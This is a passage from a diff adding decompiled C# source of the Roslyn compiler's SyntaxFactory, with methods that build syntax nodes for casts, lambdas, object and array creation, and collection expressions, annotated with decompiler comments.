(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CastExpressionSyntax CastExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return CastExpression(Token(SyntaxKind.OpenParenToken), type, Token(SyntaxKind.CloseParenToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression(SyntaxTokenList modifiers, SyntaxToken delegateKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax? parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (delegateKeyword.Kind() != SyntaxKind.DelegateKeyword) + { + throw new ArgumentException("delegateKeyword"); + } + if (block == null) + { + throw new ArgumentNullException("block"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AnonymousMethodExpression(GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (SyntaxToken)(object)((SyntaxToken)(ref delegateKeyword)).Node, (parameterList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green, (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expressionBody).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if (parameter == null) + { + throw new ArgumentNullException("parameter"); + } + if (arrowToken.Kind() != SyntaxKind.EqualsGreaterThanToken) + { + throw new ArgumentException("arrowToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SimpleLambdaExpression(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterSyntax)(object)((SyntaxNode)parameter).Green, (SyntaxToken)(object)((SyntaxToken)(ref arrowToken)).Node, (block == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expressionBody).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(attributeLists, modifiers, parameter, Token(SyntaxKind.EqualsGreaterThanToken), block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + return SimpleLambdaExpression(default(SyntaxList), default(SyntaxTokenList), parameter, Token(SyntaxKind.EqualsGreaterThanToken), null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefExpressionSyntax RefExpression(SyntaxToken refKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (refKeyword.Kind() != SyntaxKind.RefKeyword) + { + throw new ArgumentException("refKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.RefExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.RefExpression((SyntaxToken)(object)((SyntaxToken)(ref refKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.RefExpressionSyntax RefExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return RefExpression(Token(SyntaxKind.RefKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, SyntaxToken arrowToken, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + if (arrowToken.Kind() != SyntaxKind.EqualsGreaterThanToken) + { + throw new ArgumentException("arrowToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ParenthesizedLambdaExpression(GreenNodeExtensions.ToGreenList(attributeLists.Node), GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref modifiers)).Node), (returnType == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)returnType).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ParameterListSyntax)(object)((SyntaxNode)parameterList).Green, (SyntaxToken)(object)((SyntaxToken)(ref arrowToken)).Node, (block == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BlockSyntax)(object)((SyntaxNode)block).Green), (expressionBody == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expressionBody).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(attributeLists, modifiers, returnType, parameterList, Token(SyntaxKind.EqualsGreaterThanToken), block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ParenthesizedLambdaExpressionSyntax ParenthesizedLambdaExpression() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + return ParenthesizedLambdaExpression(default(SyntaxList), default(SyntaxTokenList), null, ParameterList(), Token(SyntaxKind.EqualsGreaterThanToken), null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax InitializerExpression(SyntaxKind kind, SyntaxToken openBraceToken, SeparatedSyntaxList expressions, SyntaxToken closeBraceToken) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8644 > (SyntaxKind)2 && kind != SyntaxKind.ComplexElementInitializerExpression && kind != SyntaxKind.WithInitializerExpression) + { + throw new ArgumentException("kind"); + } + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InitializerExpression(kind, (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(expressions.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax InitializerExpression(SyntaxKind kind, SeparatedSyntaxList expressions = default(SeparatedSyntaxList)) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return InitializerExpression(kind, Token(SyntaxKind.OpenBraceToken), expressions, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitObjectCreationExpressionSyntax ImplicitObjectCreationExpression(SyntaxToken newKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax argumentList, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (argumentList == null) + { + throw new ArgumentNullException("argumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitObjectCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ImplicitObjectCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)argumentList).Green, (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitObjectCreationExpressionSyntax ImplicitObjectCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax argumentList, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ImplicitObjectCreationExpression(Token(SyntaxKind.NewKeyword), argumentList, initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitObjectCreationExpressionSyntax ImplicitObjectCreationExpression() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return ImplicitObjectCreationExpression(Token(SyntaxKind.NewKeyword), ArgumentList(), null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax ObjectCreationExpression(SyntaxToken newKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax? argumentList, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ObjectCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (argumentList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArgumentListSyntax)(object)((SyntaxNode)argumentList).Green), (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax ObjectCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ArgumentListSyntax? argumentList, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ObjectCreationExpression(Token(SyntaxKind.NewKeyword), type, argumentList, initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax ObjectCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ObjectCreationExpression(Token(SyntaxKind.NewKeyword), type, null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WithExpressionSyntax WithExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken withKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (withKeyword.Kind() != SyntaxKind.WithKeyword) + { + throw new ArgumentException("withKeyword"); + } + if (initializer == null) + { + throw new ArgumentNullException("initializer"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.WithExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.WithExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref withKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WithExpressionSyntax WithExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return WithExpression(expression, Token(SyntaxKind.WithKeyword), initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectMemberDeclaratorSyntax AnonymousObjectMemberDeclarator(Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? nameEquals, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectMemberDeclaratorSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AnonymousObjectMemberDeclarator((nameEquals == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameEqualsSyntax)(object)((SyntaxNode)nameEquals).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectMemberDeclaratorSyntax AnonymousObjectMemberDeclarator(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + return AnonymousObjectMemberDeclarator(null, expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectCreationExpressionSyntax AnonymousObjectCreationExpression(SyntaxToken newKeyword, SyntaxToken openBraceToken, SeparatedSyntaxList initializers, SyntaxToken closeBraceToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (openBraceToken.Kind() != SyntaxKind.OpenBraceToken) + { + throw new ArgumentException("openBraceToken"); + } + if (closeBraceToken.Kind() != SyntaxKind.CloseBraceToken) + { + throw new ArgumentException("closeBraceToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AnonymousObjectCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openBraceToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(initializers.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBraceToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousObjectCreationExpressionSyntax AnonymousObjectCreationExpression(SeparatedSyntaxList initializers = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return AnonymousObjectCreationExpression(Token(SyntaxKind.NewKeyword), Token(SyntaxKind.OpenBraceToken), initializers, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax ArrayCreationExpression(SyntaxToken newKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ArrayCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ArrayTypeSyntax)(object)((SyntaxNode)type).Green, (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax ArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ArrayCreationExpression(Token(SyntaxKind.NewKeyword), type, initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax ArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return ArrayCreationExpression(Token(SyntaxKind.NewKeyword), type, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitArrayCreationExpressionSyntax ImplicitArrayCreationExpression(SyntaxToken newKeyword, SyntaxToken openBracketToken, SyntaxTokenList commas, SyntaxToken closeBracketToken, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + if (newKeyword.Kind() != SyntaxKind.NewKeyword) + { + throw new ArgumentException("newKeyword"); + } + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + if (initializer == null) + { + throw new ArgumentNullException("initializer"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitArrayCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ImplicitArrayCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref newKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenList(((SyntaxTokenList)(ref commas)).Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitArrayCreationExpressionSyntax ImplicitArrayCreationExpression(SyntaxTokenList commas, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return ImplicitArrayCreationExpression(Token(SyntaxKind.NewKeyword), Token(SyntaxKind.OpenBracketToken), commas, Token(SyntaxKind.CloseBracketToken), initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitArrayCreationExpressionSyntax ImplicitArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ImplicitArrayCreationExpression(Token(SyntaxKind.NewKeyword), Token(SyntaxKind.OpenBracketToken), default(SyntaxTokenList), Token(SyntaxKind.CloseBracketToken), initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (stackAllocKeyword.Kind() != SyntaxKind.StackAllocKeyword) + { + throw new ArgumentException("stackAllocKeyword"); + } + if (type == null) + { + throw new ArgumentNullException("type"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.StackAllocArrayCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref stackAllocKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green, (initializer == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax? initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return StackAllocArrayCreationExpression(Token(SyntaxKind.StackAllocKeyword), type, initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax StackAllocArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return StackAllocArrayCreationExpression(Token(SyntaxKind.StackAllocKeyword), type, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitStackAllocArrayCreationExpressionSyntax ImplicitStackAllocArrayCreationExpression(SyntaxToken stackAllocKeyword, SyntaxToken openBracketToken, SyntaxToken closeBracketToken, Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (stackAllocKeyword.Kind() != SyntaxKind.StackAllocKeyword) + { + throw new ArgumentException("stackAllocKeyword"); + } + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + if (initializer == null) + { + throw new ArgumentNullException("initializer"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitStackAllocArrayCreationExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ImplicitStackAllocArrayCreationExpression((SyntaxToken)(object)((SyntaxToken)(ref stackAllocKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.InitializerExpressionSyntax)(object)((SyntaxNode)initializer).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ImplicitStackAllocArrayCreationExpressionSyntax ImplicitStackAllocArrayCreationExpression(Microsoft.CodeAnalysis.CSharp.Syntax.InitializerExpressionSyntax initializer) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return ImplicitStackAllocArrayCreationExpression(Token(SyntaxKind.StackAllocKeyword), Token(SyntaxKind.OpenBracketToken), Token(SyntaxKind.CloseBracketToken), initializer); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CollectionExpressionSyntax CollectionExpression(SyntaxToken openBracketToken, SeparatedSyntaxList elements, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.CollectionExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CollectionExpression((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(elements.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CollectionExpressionSyntax CollectionExpression(SeparatedSyntaxList elements = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result 